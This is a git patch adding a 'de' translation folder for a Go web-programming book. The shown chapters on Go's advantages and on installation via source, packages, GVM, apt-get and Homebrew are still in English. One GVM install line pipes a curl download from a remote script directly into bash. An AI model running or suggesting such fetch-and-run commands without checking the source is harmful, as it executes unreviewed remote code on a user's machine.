From e47666b0ab04ed44b4b8a810fdcc2b501a5d7fae Mon Sep 17 00:00:00 2001 From: digitalcraftsman Date: Tue, 23 Jun 2015 20:04:41 +0200 Subject: [PATCH 1/5] Added folder for german translation --- de/01.0.md | 20 + de/01.1.md | 121 ++++ de/01.2.md | 151 +++++ de/01.3.md | 106 ++++ de/01.4.md | 399 ++++++++++++++ de/01.5.md | 9 + de/02.0.md | 17 + de/02.1.md | 53 ++ de/02.2.md | 454 +++++++++++++++ de/02.3.md | 516 ++++++++++++++++++ de/02.4.md | 214 ++++++++ de/02.5.md | 307 +++++++++++ de/02.6.md | 395 ++++++++++++++ de/02.7.md | 242 ++++++++ de/02.8.md | 32 ++ de/03.0.md | 9 + de/03.1.md | 153 ++++++ de/03.2.md | 65 +++ de/03.3.md | 85 +++ de/03.4.md | 135 +++++ de/03.5.md | 11 + de/04.0.md | 23 + de/04.1.md | 107 ++++ de/04.2.md | 141 +++++ de/04.3.md | 68 +++ de/04.4.md | 57 ++ de/04.5.md | 168 ++++++ de/04.6.md | 11 + de/05.0.md | 13 + de/05.1.md | 204 +++++++ de/05.2.md | 126 +++++ de/05.3.md | 110 ++++ de/05.4.md | 123 +++++ de/05.5.md | 256 +++++++++ de/05.6.md | 113 ++++ de/05.7.md | 11 + de/06.0.md | 11 + de/06.1.md | 110 ++++ de/06.2.md | 222 ++++++++ de/06.3.md | 139 +++++ de/06.4.md | 93 ++++ de/06.5.md | 9 + de/07.0.md | 11 + de/07.1.md | 216 ++++++++ de/07.2.md | 231 ++++++++ de/07.3.md | 241 ++++++++ de/07.4.md | 367 +++++++++++++ de/07.5.md | 159 ++++++ de/07.6.md | 162 ++++++ de/07.7.md | 9 + de/08.0.md | 18 + de/08.1.md | 411 ++++++++++++++ de/08.2.md | 159 ++++++ de/08.3.md | 123 +++++ de/08.4.md | 400 ++++++++++++++ de/08.5.md | 11 + de/09.0.md | 19 + de/09.1.md | 97 ++++ de/09.2.md | 78 +++ de/09.3.md | 62 +++ de/09.4.md | 75 +++ de/09.5.md | 98 ++++ de/09.6.md | 125 +++++ de/09.7.md | 10 + de/10.0.md | 24 + de/10.1.md | 93 ++++ de/10.2.md | 140 +++++ de/10.3.md | 184 +++++++ de/10.4.md | 9 + de/11.0.md | 17 + de/11.1.md | 209 +++++++ de/11.2.md | 264 +++++++++ de/11.3.md | 163 ++++++ de/11.4.md | 9 + de/12.0.md | 9 + de/12.1.md | 180 ++++++ de/12.2.md | 142 +++++ de/12.3.md | 192 +++++++ de/12.4.md | 193 +++++++ de/12.5.md | 20 + de/13.0.md | 11 + de/13.1.md | 62 +++ de/13.2.md | 270 +++++++++ de/13.3.md | 167 ++++++ de/13.4.md | 252 +++++++++ de/13.5.md | 295 ++++++++++ de/13.6.md | 10 + de/14.0.md | 11 + de/14.1.md | 79 +++ de/14.2.md | 107 ++++ de/14.3.md | 356 ++++++++++++ de/14.4.md | 265 +++++++++ de/14.5.md | 118 ++++ de/14.6.md | 110 ++++ de/14.7.md | 10 + de/README.md | 37 ++ de/SUMMARY.md | 97 ++++ de/code/readme.md | 7 + de/code/src/apps/ch.1.2/main.go | 14 + de/code/src/apps/ch.2.1/main.go | 11 + de/code/src/apps/ch.2.2/main.go | 277 ++++++++++ .../ch.2.2/what_is_wrong_with_this/main.go | 8 + .../src/apps/ch.2.3/basic_functions/main.go | 26 + .../apps/ch.2.3/hidden_print_methods/main.go | 14 + .../src/apps/ch.2.3/import_packages/main.go | 26 + .../only_call_init/only_call_init.go | 7 + de/code/src/apps/ch.2.3/main.go | 142 +++++ .../src/apps/ch.2.3/panic_and_recover/main.go | 31 ++ .../ch.2.3/pass_by_value_and_pointer/main.go | 31 ++ de/code/src/apps/ch.2.3/type_function/main.go | 44 ++ .../apps/ch.2.3/variadic_functions/main.go | 20 + de/code/src/apps/ch.2.4/compare_age/main.go | 43 ++ .../src/apps/ch.2.4/embedded_structs/main.go | 39 ++ .../src/apps/ch.2.4/embedded_structs2/main.go | 39 ++ .../main.go | 24 + de/code/src/apps/ch.2.4/main.go | 39 ++ .../ch.2.5/attach_methods_to_struct/main.go | 36 ++ de/code/src/apps/ch.2.5/box_example/main.go | 73 +++ .../src/apps/ch.2.5/embedded_method/main.go | 31 ++ .../src/apps/ch.2.5/method_overload/main.go | 36 ++ .../apps/ch.2.5/pass_struct_to_method/main.go | 18 + de/code/src/apps/ch.2.6/interface/main.go | 71 +++ de/code/src/apps/ch.2.6/reflection/main.go | 33 ++ .../apps/ch.2.6/stringer_interface/main.go | 22 + .../src/apps/ch.2.6/switch_type_check/main.go | 38 ++ de/code/src/apps/ch.2.6/type_check/main.go | 37 ++ .../src/apps/ch.2.7/buffered_channel/main.go | 13 + de/code/src/apps/ch.2.7/goroutine/main.go | 20 + .../ch.2.7/range_and_close_channel/main.go | 24 + .../src/apps/ch.2.7/select_channel/main.go | 30 + de/code/src/apps/ch.2.7/timeout/main.go | 27 + .../apps/ch.2.7/unbuffered_channel/main.go | 24 + de/code/src/apps/ch.3.2/main.go | 31 ++ de/code/src/apps/ch.3.4/main.go | 30 + de/code/src/apps/ch.4.1/login.gtpl | 12 + de/code/src/apps/ch.4.1/main.go | 48 ++ de/code/src/apps/ch.4.2/main.go | 59 ++ de/code/src/apps/ch.4.2/profile.gtpl | 89 +++ de/code/src/apps/ch.4.2/submission.gtpl | 16 + de/code/src/apps/ch.4.2/validator/main.go | 175 ++++++ de/code/src/apps/ch.4.3/index.gtpl | 28 + de/code/src/apps/ch.4.3/main.go | 39 ++ de/code/src/apps/ch.4.4/main.go | 54 ++ de/code/src/apps/ch.4.4/nonce/main.go | 70 +++ de/code/src/apps/ch.4.4/profile.gtpl | 85 +++ de/code/src/apps/ch.4.4/submission.gtpl | 17 + de/code/src/apps/ch.4.4/validator/main.go | 175 ++++++ de/code/src/apps/ch.4.5/client_upload/main.go | 46 ++ de/code/src/apps/ch.4.5/index.gtpl | 15 + de/code/src/apps/ch.4.5/main.go | 64 +++ de/code/src/apps/ch.4.5/nonce/main.go | 70 +++ de/code/src/apps/ch.4.5/upload.gtpl | 17 + de/code/src/apps/ch.4.5/validator/main.go | 175 ++++++ de/code/src/apps/ch.5.2/main.go | 76 +++ de/code/src/apps/ch.5.2/readme.md | 12 + de/code/src/apps/ch.5.2/schema.sql | 7 + de/code/src/apps/ch.5.3/foo.db | Bin 0 -> 3072 bytes de/code/src/apps/ch.5.3/main.go | 72 +++ de/code/src/apps/ch.5.3/readme.md | 23 + de/code/src/apps/ch.5.3/schema.sql | 6 + de/code/src/apps/ch.5.4/main.go | 77 +++ de/code/src/apps/ch.5.4/readme.md | 12 + de/code/src/apps/ch.5.4/schema.sql | 9 + de/code/src/apps/ch.5.5/main.go | 170 ++++++ de/code/src/apps/ch.5.5/readme.md | 23 + de/code/src/apps/ch.5.5/schema.sql | 12 + de/code/src/apps/ch.5.6/mongodb/main.go | 58 ++ de/code/src/apps/ch.5.6/mongodb/readme.md | 6 + de/code/src/apps/ch.5.6/redis/main.go | 60 ++ de/code/src/apps/ch.5.6/redis/readme.md | 10 + de/code/src/mymath/sqrt.go | 12 + de/images/1.1.cmd.png | Bin 0 -> 11206 bytes de/images/1.1.linux.png | Bin 0 -> 11235 bytes de/images/1.1.mac.png | Bin 0 -> 86406 bytes de/images/1.3.go.png | Bin 0 -> 14021 bytes de/images/1.4.eclipse1.png | Bin 0 -> 94291 bytes de/images/1.4.eclipse2.png | Bin 0 -> 217754 bytes de/images/1.4.eclipse3.png | Bin 0 -> 52560 bytes de/images/1.4.eclipse4.png | Bin 0 -> 106094 bytes de/images/1.4.eclipse5.png | Bin 0 -> 229405 bytes de/images/1.4.eclipse6.png | Bin 0 -> 292183 bytes de/images/1.4.emacs.png | Bin 0 -> 306577 bytes de/images/1.4.idea1.png | Bin 0 -> 67071 bytes de/images/1.4.idea2.png | Bin 0 -> 80726 bytes de/images/1.4.idea3.png | Bin 0 -> 111913 bytes de/images/1.4.idea4.png | Bin 0 -> 126040 bytes de/images/1.4.idea5.png | Bin 0 -> 40456 bytes de/images/1.4.liteide.png | Bin 0 -> 137465 bytes de/images/1.4.sublime1.png | Bin 0 -> 94704 bytes de/images/1.4.sublime2.png | Bin 0 -> 56641 bytes de/images/1.4.sublime3.png | Bin 0 -> 8621 bytes de/images/1.4.sublime4.png | Bin 0 -> 68183 bytes de/images/1.4.vim.png | Bin 0 -> 84074 bytes de/images/13.1.flow.png | Bin 0 -> 25124 bytes de/images/13.1.gopath.png | Bin 0 -> 35302 bytes de/images/13.1.gopath2.png | Bin 0 -> 14374 bytes de/images/13.4.beego.png | Bin 0 -> 46977 bytes de/images/14.1.bootstrap.png | Bin 0 -> 197736 bytes de/images/14.1.bootstrap2.png | Bin 0 -> 1471 bytes de/images/14.1.bootstrap3.png | Bin 0 -> 22566 bytes de/images/14.4.github.png | Bin 0 -> 9795 bytes de/images/14.4.github2.png | Bin 0 -> 26099 bytes de/images/14.4.github3.png | Bin 0 -> 24078 bytes de/images/14.6.pprof.png | Bin 0 -> 31778 bytes de/images/14.6.pprof2.png | Bin 0 -> 245806 bytes de/images/14.6.pprof3.png | Bin 0 -> 99002 bytes de/images/2.2.array.png | Bin 0 -> 23275 bytes de/images/2.2.basic.png | Bin 0 -> 47991 bytes de/images/2.2.makenew.png | Bin 0 -> 144658 bytes de/images/2.2.slice.png | Bin 0 -> 23161 bytes de/images/2.2.slice2.png | Bin 0 -> 20435 bytes de/images/2.3.init.png | Bin 0 -> 94844 bytes de/images/2.4.student_struct.png | Bin 0 -> 100163 bytes de/images/2.5.rect_func_without_receiver.png | Bin 0 -> 19809 bytes .../2.5.shapes_func_with_receiver_cp.png | Bin 0 -> 26595 bytes .../2.5.shapes_func_without_receiver.png | Bin 0 -> 68648 bytes de/images/3.1.dns2.png | Bin 0 -> 194175 bytes de/images/3.1.dns_hierachy.png | Bin 0 -> 31211 bytes de/images/3.1.dns_inquery.png | Bin 0 -> 61712 bytes de/images/3.1.http.png | Bin 0 -> 8342 bytes de/images/3.1.httpPOST.png | Bin 0 -> 14309 bytes de/images/3.1.response.png | Bin 0 -> 63182 bytes de/images/3.1.web.png | Bin 0 -> 369523 bytes de/images/3.1.web2.png | Bin 0 -> 68342 bytes de/images/3.2.goweb.png | Bin 0 -> 8331 bytes de/images/3.3.http.png | Bin 0 -> 52024 bytes de/images/3.3.illustrator.png | Bin 0 -> 67233 bytes de/images/4.1.login.png | Bin 0 -> 12041 bytes de/images/4.1.slice.png | Bin 0 -> 1133 bytes de/images/4.3.escape.png | Bin 0 -> 5643 bytes de/images/4.4.token.png | Bin 0 -> 14634 bytes de/images/4.5.upload.png | Bin 0 -> 12980 bytes de/images/4.5.upload2.png | Bin 0 -> 6598 bytes de/images/5.6.mongodb.png | Bin 0 -> 248376 bytes de/images/6.1.cookie.png | Bin 0 -> 101967 bytes de/images/6.1.cookie2.png | Bin 0 -> 47599 bytes de/images/6.1.session.png | Bin 0 -> 35574 bytes de/images/6.4.cookie.png | Bin 0 -> 70733 bytes de/images/6.4.hijack.png | Bin 0 -> 28465 bytes de/images/6.4.hijacksuccess.png | Bin 0 -> 36463 bytes de/images/6.4.setcookie.png | Bin 0 -> 67644 bytes de/images/7.4.template.png | Bin 0 -> 12381 bytes de/images/8.1.socket.png | Bin 0 -> 34915 bytes de/images/8.2.websocket.png | Bin 0 -> 17554 bytes de/images/8.2.websocket2.png | Bin 0 -> 14880 bytes de/images/8.2.websocket3.png | Bin 0 -> 2036 bytes de/images/8.3.rest.png | Bin 0 -> 27815 bytes de/images/8.3.rest2.png | Bin 0 -> 27335 bytes de/images/8.3.rest3.png | Bin 0 -> 17020 bytes de/images/8.4.rpc.png | Bin 0 -> 56328 bytes de/images/9.1.csrf.png | Bin 0 -> 80309 bytes de/images/cover.png | Bin 0 -> 125993 bytes de/images/ebook.jpg | Bin 0 -> 50666 bytes de/images/navi1.png | Bin 0 -> 33502 bytes de/images/navi10.png | Bin 0 -> 32053 bytes de/images/navi11.png | Bin 0 -> 35818 bytes de/images/navi12.png | Bin 0 -> 34966 bytes de/images/navi13.png | Bin 0 -> 47867 bytes de/images/navi14.png | Bin 0 -> 45619 bytes de/images/navi2.png | Bin 0 -> 43597 bytes de/images/navi3.png | Bin 0 -> 38431 bytes de/images/navi4.png | Bin 0 -> 40069 bytes de/images/navi5.png | Bin 0 -> 54222 bytes de/images/navi6.png | Bin 0 -> 39547 bytes de/images/navi7.png | Bin 0 -> 41915 bytes de/images/navi8.png | Bin 0 -> 30410 bytes de/images/navi9.png | Bin 0 -> 46388 bytes de/images/polling.png | Bin 0 -> 25049 bytes de/preface.md | 96 ++++ de/ref.md | 13 + 270 files changed, 16240 insertions(+) create mode 100644 de/01.0.md create mode 100644 de/01.1.md create mode 100644 de/01.2.md create mode 100644 de/01.3.md create mode 100644 de/01.4.md create mode 100644 de/01.5.md create mode 100644 de/02.0.md create mode 100644 de/02.1.md create mode 100644 de/02.2.md create mode 100644 de/02.3.md create mode 100644 de/02.4.md create mode 100644 de/02.5.md create mode 100644 de/02.6.md create mode 100644 de/02.7.md create mode 100644 de/02.8.md create mode 100644 de/03.0.md create mode 100644 de/03.1.md create mode 100644 de/03.2.md create mode 100644 de/03.3.md create mode 100644 de/03.4.md create mode 100644 de/03.5.md create mode 100644 de/04.0.md create mode 100644 de/04.1.md create mode 100644 de/04.2.md create mode 100644 de/04.3.md create mode 100644 de/04.4.md create mode 100644 de/04.5.md create mode 100644 de/04.6.md create mode 100644 de/05.0.md create mode 100644 de/05.1.md create mode 100644 de/05.2.md create mode 100644 de/05.3.md create mode 100644 de/05.4.md create mode 100644 de/05.5.md create mode 100644 de/05.6.md create mode 100644 de/05.7.md create mode 100644 de/06.0.md create mode 100644 de/06.1.md create mode 100644 de/06.2.md create mode 100644 de/06.3.md create mode 100644 de/06.4.md create mode 100644 de/06.5.md create mode 100644 de/07.0.md create mode 100644 de/07.1.md create mode 100644 de/07.2.md create mode 100644 de/07.3.md create mode 100644 de/07.4.md create mode 100644 de/07.5.md create mode 100644 de/07.6.md create mode 100644 de/07.7.md create mode 100644 de/08.0.md create mode 100644 de/08.1.md create mode 100644 de/08.2.md create mode 100644 de/08.3.md create mode 100644 de/08.4.md create mode 100644 de/08.5.md create mode 100644 de/09.0.md create mode 100644 de/09.1.md create mode 100644 de/09.2.md create mode 100644 de/09.3.md create mode 100644 de/09.4.md create mode 100644 de/09.5.md create mode 100644 de/09.6.md create mode 100644 de/09.7.md create mode 100644 de/10.0.md create mode 100644 de/10.1.md create mode 100644 de/10.2.md create mode 100644 de/10.3.md create mode 100644 de/10.4.md create mode 100644 de/11.0.md create mode 100644 de/11.1.md create mode 100644 de/11.2.md create mode 100644 de/11.3.md create mode 100644 de/11.4.md create mode 100644 de/12.0.md create mode 100644 de/12.1.md create mode 100644 de/12.2.md create mode 100644 de/12.3.md create mode 100644 de/12.4.md create mode 100644 de/12.5.md create mode 100644 de/13.0.md create mode 100644 de/13.1.md create mode 100644 de/13.2.md create mode 100644 de/13.3.md create mode 100644 de/13.4.md create mode 100644 de/13.5.md create mode 100644 de/13.6.md create mode 100644 de/14.0.md create mode 100644 de/14.1.md create mode 100644 de/14.2.md create mode 100644 de/14.3.md create mode 100644 de/14.4.md create mode 100644 de/14.5.md create mode 100644 de/14.6.md create mode 100644 de/14.7.md create mode 100644 de/README.md create mode 100644 de/SUMMARY.md create mode 100644 de/code/readme.md create mode 100644 de/code/src/apps/ch.1.2/main.go create mode 100644 de/code/src/apps/ch.2.1/main.go create mode 100644 de/code/src/apps/ch.2.2/main.go create mode 100644 de/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go create mode 100644 de/code/src/apps/ch.2.3/basic_functions/main.go create mode 100644 de/code/src/apps/ch.2.3/hidden_print_methods/main.go create mode 100644 de/code/src/apps/ch.2.3/import_packages/main.go create mode 100644 de/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go create mode 100644 de/code/src/apps/ch.2.3/main.go create mode 100644 de/code/src/apps/ch.2.3/panic_and_recover/main.go create mode 100644 de/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go create mode 100644 de/code/src/apps/ch.2.3/type_function/main.go create mode 100644 de/code/src/apps/ch.2.3/variadic_functions/main.go create mode 100644 de/code/src/apps/ch.2.4/compare_age/main.go create mode 100644 de/code/src/apps/ch.2.4/embedded_structs/main.go create mode 100644 de/code/src/apps/ch.2.4/embedded_structs2/main.go create mode 100644 de/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go create mode 100644 de/code/src/apps/ch.2.4/main.go create mode 100644 de/code/src/apps/ch.2.5/attach_methods_to_struct/main.go create mode 100644 de/code/src/apps/ch.2.5/box_example/main.go create mode 100644 de/code/src/apps/ch.2.5/embedded_method/main.go create mode 100644 de/code/src/apps/ch.2.5/method_overload/main.go create mode 100644 de/code/src/apps/ch.2.5/pass_struct_to_method/main.go create mode 100644 de/code/src/apps/ch.2.6/interface/main.go create mode 100644 de/code/src/apps/ch.2.6/reflection/main.go create mode 100644 de/code/src/apps/ch.2.6/stringer_interface/main.go create mode 100644 de/code/src/apps/ch.2.6/switch_type_check/main.go create mode 100644 de/code/src/apps/ch.2.6/type_check/main.go create mode 100644 de/code/src/apps/ch.2.7/buffered_channel/main.go create mode 100644 de/code/src/apps/ch.2.7/goroutine/main.go create mode 100644 de/code/src/apps/ch.2.7/range_and_close_channel/main.go create mode 100644 de/code/src/apps/ch.2.7/select_channel/main.go create mode 100644 de/code/src/apps/ch.2.7/timeout/main.go create mode 100644 de/code/src/apps/ch.2.7/unbuffered_channel/main.go create mode 100644 de/code/src/apps/ch.3.2/main.go create mode 100644 de/code/src/apps/ch.3.4/main.go create mode 100644 de/code/src/apps/ch.4.1/login.gtpl create mode 100644 de/code/src/apps/ch.4.1/main.go create mode 100644 de/code/src/apps/ch.4.2/main.go create mode 100644 de/code/src/apps/ch.4.2/profile.gtpl create mode 100644 de/code/src/apps/ch.4.2/submission.gtpl create mode 100644 de/code/src/apps/ch.4.2/validator/main.go create mode 100644 de/code/src/apps/ch.4.3/index.gtpl create mode 100644 de/code/src/apps/ch.4.3/main.go create mode 100644 de/code/src/apps/ch.4.4/main.go create mode 100644 de/code/src/apps/ch.4.4/nonce/main.go create mode 100644 de/code/src/apps/ch.4.4/profile.gtpl create mode 100644 de/code/src/apps/ch.4.4/submission.gtpl create mode 100644 de/code/src/apps/ch.4.4/validator/main.go create mode 100644 de/code/src/apps/ch.4.5/client_upload/main.go create mode 100644 de/code/src/apps/ch.4.5/index.gtpl create mode 100644 de/code/src/apps/ch.4.5/main.go create mode 100644 de/code/src/apps/ch.4.5/nonce/main.go create mode 100644 de/code/src/apps/ch.4.5/upload.gtpl create mode 100644 de/code/src/apps/ch.4.5/validator/main.go create mode 100644 de/code/src/apps/ch.5.2/main.go create mode 100644 de/code/src/apps/ch.5.2/readme.md create mode 100644 de/code/src/apps/ch.5.2/schema.sql create mode 100644 de/code/src/apps/ch.5.3/foo.db create mode 100644 de/code/src/apps/ch.5.3/main.go create mode 100644 de/code/src/apps/ch.5.3/readme.md create mode 100644 de/code/src/apps/ch.5.3/schema.sql create mode 100644 de/code/src/apps/ch.5.4/main.go create mode 100644 de/code/src/apps/ch.5.4/readme.md create mode 100644 de/code/src/apps/ch.5.4/schema.sql create mode 100644 de/code/src/apps/ch.5.5/main.go create mode 100644 de/code/src/apps/ch.5.5/readme.md create mode 100644 de/code/src/apps/ch.5.5/schema.sql create mode 100644 de/code/src/apps/ch.5.6/mongodb/main.go create mode 100644 de/code/src/apps/ch.5.6/mongodb/readme.md create mode 100644 de/code/src/apps/ch.5.6/redis/main.go create mode 100644 de/code/src/apps/ch.5.6/redis/readme.md create mode 100644 de/code/src/mymath/sqrt.go create mode 100644 de/images/1.1.cmd.png create mode 100644 de/images/1.1.linux.png create mode 100644 de/images/1.1.mac.png create mode 100644 de/images/1.3.go.png create mode 100644 de/images/1.4.eclipse1.png create mode 100644 de/images/1.4.eclipse2.png create mode 100644 de/images/1.4.eclipse3.png create mode 100644 de/images/1.4.eclipse4.png create mode 100644 de/images/1.4.eclipse5.png create mode 100644 de/images/1.4.eclipse6.png create mode 100644 de/images/1.4.emacs.png create mode 100644 de/images/1.4.idea1.png create mode 100644 de/images/1.4.idea2.png create mode 100644 de/images/1.4.idea3.png create mode 100644 de/images/1.4.idea4.png create mode 100644 de/images/1.4.idea5.png create mode 100644 de/images/1.4.liteide.png create mode 100644 de/images/1.4.sublime1.png create mode 100644 de/images/1.4.sublime2.png create mode 100644 de/images/1.4.sublime3.png create mode 100644 de/images/1.4.sublime4.png create mode 100644 de/images/1.4.vim.png create mode 100644 de/images/13.1.flow.png create mode 100644 de/images/13.1.gopath.png create mode 100644 de/images/13.1.gopath2.png create mode 100644 de/images/13.4.beego.png create mode 100644 de/images/14.1.bootstrap.png create mode 100644 de/images/14.1.bootstrap2.png create mode 100644 de/images/14.1.bootstrap3.png create mode 100644 de/images/14.4.github.png create mode 100644 de/images/14.4.github2.png create mode 100644 de/images/14.4.github3.png create mode 100644 de/images/14.6.pprof.png create mode 100644 de/images/14.6.pprof2.png create mode 100644 de/images/14.6.pprof3.png create mode 100644 de/images/2.2.array.png create mode 100644 de/images/2.2.basic.png create mode 100644 de/images/2.2.makenew.png create mode 100644 de/images/2.2.slice.png create mode 100644 de/images/2.2.slice2.png create mode 100644 de/images/2.3.init.png create mode 100644 de/images/2.4.student_struct.png create mode 100644 de/images/2.5.rect_func_without_receiver.png create mode 100644 de/images/2.5.shapes_func_with_receiver_cp.png create mode 100644 de/images/2.5.shapes_func_without_receiver.png create mode 100644 de/images/3.1.dns2.png create mode 100644 de/images/3.1.dns_hierachy.png create mode 100644 de/images/3.1.dns_inquery.png create mode 100644 de/images/3.1.http.png create mode 100644 de/images/3.1.httpPOST.png create mode 100644 de/images/3.1.response.png create mode 100644 de/images/3.1.web.png create mode 100644 de/images/3.1.web2.png create mode 100644 de/images/3.2.goweb.png create mode 100644 de/images/3.3.http.png create mode 100644 de/images/3.3.illustrator.png create mode 100644 de/images/4.1.login.png create mode 100644 de/images/4.1.slice.png create mode 100644 de/images/4.3.escape.png create mode 100644 de/images/4.4.token.png create mode 100644 de/images/4.5.upload.png create mode 100644 de/images/4.5.upload2.png create mode 100644 de/images/5.6.mongodb.png create mode 100644 de/images/6.1.cookie.png create mode 100644 de/images/6.1.cookie2.png create mode 100644 de/images/6.1.session.png create mode 100644 de/images/6.4.cookie.png create mode 100644 de/images/6.4.hijack.png create mode 100644 de/images/6.4.hijacksuccess.png create mode 100644 de/images/6.4.setcookie.png create mode 100644 de/images/7.4.template.png create mode 100644 de/images/8.1.socket.png create mode 100644 de/images/8.2.websocket.png create mode 100644 de/images/8.2.websocket2.png create mode 100644 de/images/8.2.websocket3.png create mode 100644 de/images/8.3.rest.png create mode 100644 de/images/8.3.rest2.png create mode 100644 de/images/8.3.rest3.png create mode 100644 de/images/8.4.rpc.png create mode 100644 de/images/9.1.csrf.png create mode 100644 de/images/cover.png create mode 100644 de/images/ebook.jpg create mode 100644 de/images/navi1.png create mode 100644 de/images/navi10.png create mode 100644 de/images/navi11.png create mode 100644 de/images/navi12.png create mode 100644 de/images/navi13.png create mode 100644 de/images/navi14.png create mode 100644 de/images/navi2.png create mode 100644 de/images/navi3.png create mode 100644 de/images/navi4.png create mode 100644 de/images/navi5.png create mode 100644 de/images/navi6.png create mode 100644 de/images/navi7.png create mode 100644 de/images/navi8.png create mode 100644 de/images/navi9.png create mode 100644 de/images/polling.png create mode 100644 de/preface.md create mode 100644 de/ref.md diff --git a/de/01.0.md b/de/01.0.md new file mode 100644 index 00000000..a1e30140 --- /dev/null +++ b/de/01.0.md @@ -0,0 +1,20 @@ +# 1 Go Environment Configuration + +Welcome to the world of Go, let's start exploring! + +Go is a fast-compiled, garbage-collected, concurrent systems programming language. It has the following advantages: + +- Compiles a large project within a few seconds. +- Provides a software development model that is easy to reason about, avoiding most of the problems associated with C-style header files. +- Is a static language that does not have levels in its type system, so users do not need to spend much time dealing with relations between types. It is more like a lightweight object-oriented language. +- Performs garbage collection. It provides basic support for concurrency and communication. +- Designed for multi-core computers. + +Go is a compiled language. It combines the development efficiency of interpreted or dynamic languages with the security of static languages. It is going to be the language of choice for modern, multi-core computers with networking. For these purposes, there are some problems that need to inherently be resolved at the level of the language of choice, such as a richly expressive lightweight type system, a native concurrency model, and strictly regulated garbage collection. For quite some time, no packages or tools have emerged that have aimed to solve all of these problems in a pragmatic fashion; thus was born the motivation for the Go language. + +In this chapter, I will show you how to install and configure your own Go development environment. + +## Links + +- [Directory](preface.md) +- Next section: [Installation](01.1.md) diff --git a/de/01.1.md b/de/01.1.md new file mode 100644 index 00000000..eac6c9e7 --- /dev/null +++ b/de/01.1.md @@ -0,0 +1,121 @@ +# 1.1 Installation + +## Three ways to install Go + +There are many ways to configure the Go development environment on your computer, and you can choose whichever one you like. The three most common ways are as follows. + + +- Official installation packages. + - The Go team provides convenient installation packages in Windows, Linux, Mac and other operating systems. This is probably the easiest way to get started. +- Install it yourself from source code. + - Popular with developers who are familiar with Unix-like systems. +- Using third-party tools. + - There are many third-party tools and package managers for installing Go, like apt-get in Ubuntu and homebrew for Mac. + +In case you want to install more than one version of Go on a computer, you should take a look at a tool called [GVM](https://github.com/moovweb/gvm). It is the best tool I've seen so far for accomplishing this task, otherwise you'd have to deal with it yourself. + +## Install from source code + +Because some parts of Go are written in Plan 9 C and AT&T assembler, you have to install a C compiler before taking the next step. + +On a Mac, if you have installed Xcode, you already have the compiler. + +On Unix-like systems, you need to install gcc or a similar compiler. For example, using the package manager apt-get (included with Ubuntu), one can install the required compilers as follows: + + `sudo apt-get install gcc libc6-dev` + +On Windows, you need to install MinGW in order to install gcc. Don't forget to configure your environment variables after the installation has completed.( ***Everything that looks like this means it's commented by a translator: If you are using 64-bit Windows, you should install the 64-bit version of MinGW*** ) + +At this point, execute the following commands to clone the Go source code and compile it.( ***It will clone the source code to your current directory. Switch your work path before you continue. This may take some time.*** ) + + git clone https://go.googlesource.com/go + cd go/src + ./all.bash + +A successful installation will end with the message "ALL TESTS PASSED." + +On Windows, you can achieve the same by running `all.bat`. + +If you are using Windows, the installation package will set your environment variables automatically. In Unix-like systems, you need to set these variables manually as follows. ( ***If your Go version is greater than 1.0, you don't have to set $GOBIN, and it will automatically be related to your $GOROOT/bin, which we will talk about in the next section***) + + export GOROOT=$HOME/go + export GOBIN=$GOROOT/bin + export PATH=$PATH:$GOROOT/bin + +If you see the following information on your screen, you're all set. + +![](images/1.1.mac.png?raw=true) + +Figure 1.1 Information after installing from source code + +Once you see the usage information of Go, it means you have successfully installed Go on your computer. If it says "no such command", check that your $PATH environment variable contains the installation path of Go. + +## Using the standard installation packages + +Go has one-click installation packages for every supported operating system. These packages will install Go in `/usr/local/go` (`c:\Go` in Windows) by default. Of course this can be modified, but you also need to change all the environment variables manually as I've shown above. + +### How to check if your operating system is 32-bit or 64-bit? + +Our next step depends on your operating system type, so we have to check it before we download the standard installation packages. + +If you are using Windows, press `Win+R` and then run the command tool. Type the `systeminfo` command and it will show you some useful system information. Find the line that says "system type" -if you see "x64-based PC" that means your operating system is 64-bit, 32-bit otherwise. + +I strongly recommend downloading the 64-bit package if you are a Mac user, as Go no longer supports pure 32-bit processors on Mac OSX. + +Linux users can type `uname -a` in the terminal to see system information. +A 64-bit operating system will show the following: + + x86_64 x86_64 x86_64 GNU/Linux + // some machines such as Ubuntu 10.04 will show as following + x86_64 GNU/Linux + +32-bit operating systems instead show: + + i686 i686 i386 GNU/Linux + +### Mac + +Go to the [download page](https://golang.org/dl/), choose `go1.4.2.darwin-386.pkg` for 32-bit systems and `go1.4.2.darwin-amd64.pkg` for 64-bit systems. Going all the way to the end by clicking "next", `~/go/bin` will be added to your system's $PATH after you finish the installation. Now open the terminal and type `go`. You should see the same output shown in igure 1.1. + +### Linux + +Go to the [download page](https://golang.org/dl/), choose `go1.4.2.linux-386.tar.gz` for 32-bit systems and `go1.4.2.linux-amd64.tar.gz` for 64-bit systems. Suppose you want to install Go in the `$GO_INSTALL_DIR` path. Uncompress the `tar.gz` to your chosen path using the command `tar zxvf go1.4.2.linux-amd64.tar.gz -C $GO_INSTALL_DIR`. Then set your $PATH with the following: `export PATH=$PATH:$GO_INSTALL_DIR/go/bin`. Now just open the terminal and type `go`. You should now see the same output displayed in figure 1.1. + +### Windows + +Go to the [download page](https://golang.org/dl/), choose `go1.4.2.windows-386.msi` for 32-bit systems and `go1.4.2.windows-amd64.msi` for 64-bit systems. Going all the way to the end by clicking "next", `c:/go/bin` will be added to `path`. Now just open a command line window and type `go`. You should now see the same output displayed in figure 1.1. + +## Use third-party tools + +### GVM + +GVM is a Go multi-version control tool developed by a third-party, like rvm for ruby. It's quite easy to use. Install gvm by typing the following commands in your terminal: + + bash < <(curl -s -S -L https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer) + +Then we install Go using the following commands: + + gvm install go1.4.2 + gvm use go1.4.2 + +After the process has finished, you're all set. + +### apt-get + +Ubuntu is the most popular desktop release version of Linux. It uses `apt-get` to manage packages. We can install Go using the following commands. + + sudo add-apt-repository ppa:gophers/go + sudo apt-get update + sudo apt-get install golang-stable + +### Homebrew + +Homebrew is a software management tool commonly used in Mac to manage packages. Just type the following commands to install Go. + + brew install go + +## Links + +- [Directory](preface.md) +- Previous section: [Go environment configuration](01.0.md) +- Next section: [$GOPATH and workspace](01.2.md) diff --git a/de/01.2.md b/de/01.2.md new file mode 100644 index 00000000..b12a9029 --- /dev/null +++ b/de/01.2.md @@ -0,0 +1,151 @@ +#1.2 $GOPATH and workspace + +## $GOPATH + +Go commands all rely on one important environment variable called 